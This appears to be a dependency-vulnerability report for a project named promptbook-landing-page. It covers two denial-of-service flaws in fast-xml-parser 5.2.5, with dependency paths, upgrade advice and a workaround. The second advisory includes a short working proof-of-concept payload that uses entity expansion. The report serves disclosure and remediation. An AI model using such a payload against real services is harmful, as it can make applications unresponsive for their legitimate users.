  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Uncaught Exception in the numeric entity processing when parsing XML containing out-of-range entity code points. An attacker can cause the application to crash by submitting specially crafted XML input that triggers an uncaught exception.

Remediation

Upgrade fast-xml-parser to version 5.3.4 or higher.

References

high severity

XML Entity Expansion

  • Vulnerable module: fast-xml-parser
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-flexible-checksums@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/signature-v4-multi-region@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to XML Entity Expansion in replaceEntitiesValue() when handling excessive DOCTYPE input. An attacker can cause excessive resource consumption and make the application unresponsive by submitting malicious XML input with large text entities referenced multiple times. This is a bypass for Billion Laughs protection in DocTypeReader.js, which prevents excessive referencing within and entity, but doesn't prevent repeated expansion of large entities.

Workaround

This vulnerability can be mitigated by disabling DOCTYPE parsing using the processEntities: false option.

PoC

const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml);
console.timeEnd('parse');

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade fast-xml-parser to version 4.5.4, 5.3.6 or higher.

References

high severity

XML Entity Expansion

  • Vulnerable module: fast-xml-parser
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-flexible-checksums@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
